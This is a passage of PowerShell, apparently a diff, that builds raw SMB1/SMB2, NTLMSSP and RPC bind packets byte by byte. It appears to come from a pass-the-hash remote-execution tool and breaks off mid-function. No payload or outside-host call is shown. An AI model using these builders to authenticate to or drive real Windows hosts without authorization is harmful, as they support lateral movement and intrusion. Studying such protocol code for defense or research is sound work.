$packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_WordCount",[Byte[]](0x0c)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxBuffer",[Byte[]](0xff,0xff)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_MaxMpxCount",[Byte[]](0x02,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_VCNumber",[Byte[]](0x01,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SessionKey",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlobLength",$packet_byte_count) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_Capabilities",[Byte[]](0x44,0x00,0x00,0x80)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_ByteCount",$packet_security_blob_length) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_SecurityBlob",$packet_security_blob) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeOS",[Byte[]](0x00,0x00,0x00)) + $packet_SMBSessionSetupAndXRequest.Add("SMBSessionSetupAndXRequest_NativeLANManage",[Byte[]](0x00,0x00)) + + return $packet_SMBSessionSetupAndXRequest +} + +function Get-PacketSMBTreeConnectAndXRequest() +{ + param([Byte[]]$packet_path) + + [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length + 7) + $packet_path_length = $packet_path_length[0,1] + + $packet_SMBTreeConnectAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_WordCount",[Byte[]](0x04)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Flags",[Byte[]](0x00,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_PasswordLength",[Byte[]](0x01,0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_ByteCount",$packet_path_length) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Password",[Byte[]](0x00)) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Tree",$packet_path) + $packet_SMBTreeConnectAndXRequest.Add("SMBTreeConnectAndXRequest_Service",[Byte[]](0x3f,0x3f,0x3f,0x3f,0x3f,0x00)) + + return $packet_SMBTreeConnectAndXRequest +} + +function Get-PacketSMBNTCreateAndXRequest() +{ + param([Byte[]]$packet_named_pipe) + + [Byte[]]$packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) + $packet_named_pipe_length = $packet_named_pipe_length[0,1] + [Byte[]]$packet_file_name_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length - 1) + $packet_file_name_length = $packet_file_name_length[0,1] + + $packet_SMBNTCreateAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_WordCount",[Byte[]](0x18)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Reserved2",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileNameLen",$packet_file_name_length) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateFlags",[Byte[]](0x16,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_RootFID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_AllocationSize",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_FileAttributes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ShareAccess",[Byte[]](0x07,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Disposition",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_CreateOptions",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_SecurityFlags",[Byte[]](0x00)) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_ByteCount",$packet_named_pipe_length) + $packet_SMBNTCreateAndXRequest.Add("SMBNTCreateAndXRequest_Filename",$packet_named_pipe) + + return $packet_SMBNTCreateAndXRequest +} + +function Get-PacketSMBReadAndXRequest() +{ + $packet_SMBReadAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_WordCount",[Byte[]](0x0a)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_FID",[Byte[]](0x00,0x40)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MaxCountLow",[Byte[]](0x58,0x02)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_MinCount",[Byte[]](0x58,0x02)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Unknown",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_Remaining",[Byte[]](0x00,0x00)) + $packet_SMBReadAndXRequest.Add("SMBReadAndXRequest_ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBReadAndXRequest +} + +function Get-PacketSMBWriteAndXRequest() +{ + param([Int]$packet_RPC_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length + 24) + $packet_write_length = $packet_write_length[0,1] + + $packet_SMBWriteAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WordCount",[Byte[]](0x0e)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_FID",[Byte[]](0x00,0x40)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Offset",[Byte[]](0xea,0x03,0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Reserved2",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_WriteMode",[Byte[]](0x08,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_Remaining",[Byte[]](0x50,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthHigh",[Byte[]](0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataLengthLow",$packet_write_length) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_DataOffset",[Byte[]](0x3f,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_HighOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMBWriteAndXRequest.Add("SMBWriteAndXRequest_ByteCount",$packet_write_length) + + return $packet_SMBWriteAndXRequest +} + +function Get-PacketSMBCloseRequest() +{ + param ([Byte[]]$packet_file_ID) + + $packet_SMBCloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBCloseRequest.Add("SMBCloseRequest_WordCount",[Byte[]](0x03)) + $packet_SMBCloseRequest.Add("SMBCloseRequest_FID",$packet_file_ID) + $packet_SMBCloseRequest.Add("SMBCloseRequest_LastWrite",[Byte[]](0xff,0xff,0xff,0xff)) + $packet_SMBCloseRequest.Add("SMBCloseRequest_ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBCloseRequest +} + +function Get-PacketSMBTreeDisconnectRequest() +{ + $packet_SMBTreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_WordCount",[Byte[]](0x00)) + $packet_SMBTreeDisconnectRequest.Add("SMBTreeDisconnectRequest_ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBTreeDisconnectRequest +} + +function Get-PacketSMBLogoffAndXRequest() +{ + $packet_SMBLogoffAndXRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_WordCount",[Byte[]](0x02)) + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXCommand",[Byte[]](0xff)) + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_Reserved",[Byte[]](0x00)) + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_AndXOffset",[Byte[]](0x00,0x00)) + $packet_SMBLogoffAndXRequest.Add("SMBLogoffAndXRequest_ByteCount",[Byte[]](0x00,0x00)) + + return $packet_SMBLogoffAndXRequest +} + +#SMB2 + +function Get-PacketSMB2Header() +{ + param([Byte[]]$packet_command,[Int]$packet_message_ID,[Byte[]]$packet_tree_ID,[Byte[]]$packet_session_ID) + + [Byte[]]$packet_message_ID = [System.BitConverter]::GetBytes($packet_message_ID) + 0x00,0x00,0x00,0x00 + + $packet_SMB2Header = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2Header.Add("SMB2Header_ProtocolID",[Byte[]](0xfe,0x53,0x4d,0x42)) + $packet_SMB2Header.Add("SMB2Header_StructureSize",[Byte[]](0x40,0x00)) + $packet_SMB2Header.Add("SMB2Header_CreditCharge",[Byte[]](0x01,0x00)) + $packet_SMB2Header.Add("SMB2Header_ChannelSequence",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_Command",$packet_command) + $packet_SMB2Header.Add("SMB2Header_CreditRequest",[Byte[]](0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_Flags",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_NextCommand",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_MessageID",$packet_message_ID) + $packet_SMB2Header.Add("SMB2Header_Reserved2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2Header.Add("SMB2Header_TreeID",$packet_tree_ID) + $packet_SMB2Header.Add("SMB2Header_SessionID",$packet_session_ID) + $packet_SMB2Header.Add("SMB2Header_Signature",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $packet_SMB2Header +} + +function Get-PacketSMB2NegotiateProtocolRequest() +{ + $packet_SMB2NegotiateProtocolRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_StructureSize",[Byte[]](0x24,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_DialectCount",[Byte[]](0x02,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_SecurityMode",[Byte[]](0x01,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Capabilities",[Byte[]](0x40,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_ClientGUID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_NegotiateContextCount",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Reserved2",[Byte[]](0x00,0x00)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect",[Byte[]](0x02,0x02)) + $packet_SMB2NegotiateProtocolRequest.Add("SMB2NegotiateProtocolRequest_Dialect2",[Byte[]](0x10,0x02)) + + return $packet_SMB2NegotiateProtocolRequest +} + +function Get-PacketSMB2SessionSetupRequest() +{ + param([Byte[]]$packet_security_blob) + + [Byte[]]$packet_security_blob_length = [System.BitConverter]::GetBytes($packet_security_blob.Length) + $packet_security_blob_length = $packet_security_blob_length[0,1] + + $packet_SMB2SessionSetupRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_StructureSize",[Byte[]](0x19,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Flags",[Byte[]](0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityMode",[Byte[]](0x01)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Capabilities",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferOffset",[Byte[]](0x58,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_SecurityBufferLength",$packet_security_blob_length) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_PreviousSessionID",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2SessionSetupRequest.Add("SMB2SessionSetupRequest_Buffer",$packet_security_blob) + + return $packet_SMB2SessionSetupRequest +} + +function Get-PacketSMB2TreeConnectRequest() +{ + param([Byte[]]$packet_path) + + [Byte[]]$packet_path_length = [System.BitConverter]::GetBytes($packet_path.Length) + $packet_path_length = $packet_path_length[0,1] + + $packet_SMB2TreeConnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_StructureSize",[Byte[]](0x09,0x00)) + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Reserved",[Byte[]](0x00,0x00)) + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathOffset",[Byte[]](0x48,0x00)) + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_PathLength",$packet_path_length) + $packet_SMB2TreeConnectRequest.Add("SMB2TreeConnectRequest_Buffer",$packet_path) + + return $packet_SMB2TreeConnectRequest +} + +function Get-PacketSMB2CreateRequestFile() +{ + param([Byte[]]$packet_named_pipe) + + $packet_named_pipe_length = [System.BitConverter]::GetBytes($packet_named_pipe.Length) + $packet_named_pipe_length = $packet_named_pipe_length[0,1] + + $packet_SMB2CreateRequestFile = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_StructureSize",[Byte[]](0x39,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Flags",[Byte[]](0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_RequestedOplockLevel",[Byte[]](0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Impersonation",[Byte[]](0x02,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_SMBCreateFlags",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Reserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_DesiredAccess",[Byte[]](0x03,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_FileAttributes",[Byte[]](0x80,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_ShareAccess",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateDisposition",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateOptions",[Byte[]](0x40,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameOffset",[Byte[]](0x78,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_NameLength",$packet_named_pipe_length) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_CreateContextsLength",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CreateRequestFile.Add("SMB2CreateRequestFile_Buffer",$packet_named_pipe) + + return $packet_SMB2CreateRequestFile +} + +function Get-PacketSMB2ReadRequest() +{ + param ([Byte[]]$packet_file_ID) + + $packet_SMB2ReadRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_StructureSize",[Byte[]](0x31,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Padding",[Byte[]](0x50)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Flags",[Byte[]](0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Length",[Byte[]](0x00,0x00,0x10,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_FileID",$packet_file_ID) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_MinimumCount",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoOffset",[Byte[]](0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_ReadChannelInfoLength",[Byte[]](0x00,0x00)) + $packet_SMB2ReadRequest.Add("SMB2ReadRequest_Buffer",[Byte[]](0x30)) + + return $packet_SMB2ReadRequest +} + +function Get-PacketSMB2WriteRequest() +{ + param([Byte[]]$packet_file_ID,[Int]$packet_RPC_length) + + [Byte[]]$packet_write_length = [System.BitConverter]::GetBytes($packet_RPC_length + 24) + + $packet_SMB2WriteRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_StructureSize",[Byte[]](0x31,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_DataOffset",[Byte[]](0x70,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Length",$packet_write_length) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Offset",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_FileID",$packet_file_ID) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Channel",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_RemainingBytes",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoOffset",[Byte[]](0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_WriteChannelInfoLength",[Byte[]](0x00,0x00)) + $packet_SMB2WriteRequest.Add("SMB2WriteRequest_Flags",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_SMB2WriteRequest +} + +function Get-PacketSMB2CloseRequest() +{ + param ([Byte[]]$packet_file_ID) + + $packet_SMB2CloseRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2CloseRequest.Add("SMB2CloseRequest_StructureSize",[Byte[]](0x18,0x00)) + $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Flags",[Byte[]](0x00,0x00)) + $packet_SMB2CloseRequest.Add("SMB2CloseRequest_Reserved",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2CloseRequest.Add("SMB2CloseRequest_FileID",$packet_file_ID) + + return $packet_SMB2CloseRequest +} + +function Get-PacketSMB2TreeDisconnectRequest() +{ + $packet_SMB2TreeDisconnectRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_StructureSize",[Byte[]](0x04,0x00)) + $packet_SMB2TreeDisconnectRequest.Add("SMB2TreeDisconnectRequest_Reserved",[Byte[]](0x00,0x00)) + + return $packet_SMB2TreeDisconnectRequest +} + +function Get-PacketSMB2SessionLogoffRequest() +{ + $packet_SMB2SessionLogoffRequest = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_StructureSize",[Byte[]](0x04,0x00)) + $packet_SMB2SessionLogoffRequest.Add("SMB2SessionLogoffRequest_Reserved",[Byte[]](0x00,0x00)) + + return $packet_SMB2SessionLogoffRequest +} + +#NTLM + +function Get-PacketNTLMSSPNegotiate() +{ + param([Byte[]]$packet_negotiate_flags,[Byte[]]$packet_version) + + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes(32 + $packet_version.Length) + $packet_NTLMSSP_length = $packet_NTLMSSP_length[0] + [Byte[]]$packet_ASN_length_1 = $packet_NTLMSSP_length[0] + 32 + [Byte[]]$packet_ASN_length_2 = $packet_NTLMSSP_length[0] + 22 + [Byte[]]$packet_ASN_length_3 = $packet_NTLMSSP_length[0] + 20 + [Byte[]]$packet_ASN_length_4 = $packet_NTLMSSP_length[0] + 2 + + $packet_NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialContextTokenID",[Byte[]](0x60)) # the ASN.1 key names are likely not all correct + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialcontextTokenLength",$packet_ASN_length_1) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechID",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechLength",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID",[Byte[]](0xa0)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength",$packet_ASN_length_2) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID2",[Byte[]](0x30)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength2",$packet_ASN_length_3) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID",[Byte[]](0xa0)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength",[Byte[]](0x0e)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID2",[Byte[]](0x30)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength2",[Byte[]](0x0c)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID3",[Byte[]](0x06)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength3",[Byte[]](0x0a)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenID",[Byte[]](0xa2)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenLength",$packet_ASN_length_4) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPID",[Byte[]](0x04)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPLength",$packet_NTLMSSP_length) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NegotiateFlags",$packet_negotiate_flags) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + if($packet_version) + { + $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Version",$packet_version) + } + + return $packet_NTLMSSPNegotiate +} + +function Get-PacketNTLMSSPAuth() +{ + param([Byte[]]$packet_NTLM_response) + + [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLM_response.Length) + $packet_NTLMSSP_length = $packet_NTLMSSP_length[1,0] + [Byte[]]$packet_ASN_length_1 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 12) + $packet_ASN_length_1 = $packet_ASN_length_1[1,0] + [Byte[]]$packet_ASN_length_2 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 8) + $packet_ASN_length_2 = $packet_ASN_length_2[1,0] + [Byte[]]$packet_ASN_length_3 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 4) + $packet_ASN_length_3 = $packet_ASN_length_3[1,0] + + $packet_NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID",[Byte[]](0xa1,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength",$packet_ASN_length_1) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID2",[Byte[]](0x30,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength2",$packet_ASN_length_2) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID3",[Byte[]](0xa2,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength3",$packet_ASN_length_3) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPID",[Byte[]](0x04,0x82)) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPLength",$packet_NTLMSSP_length) + $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMResponse",$packet_NTLM_response) + + return $packet_NTLMSSPAuth +} + +#RPC + +function Get-PacketRPCBind() +{ + param([Int]$packet_call_ID,[Byte[]]$packet_max_frag,[Byte[]]$packet_num_ctx_items,[Byte[]]$packet_context_ID,[Byte[]]$packet_UUID,[Byte[]]$packet_UUID_version) + + [Byte[]]$packet_call_ID_bytes = 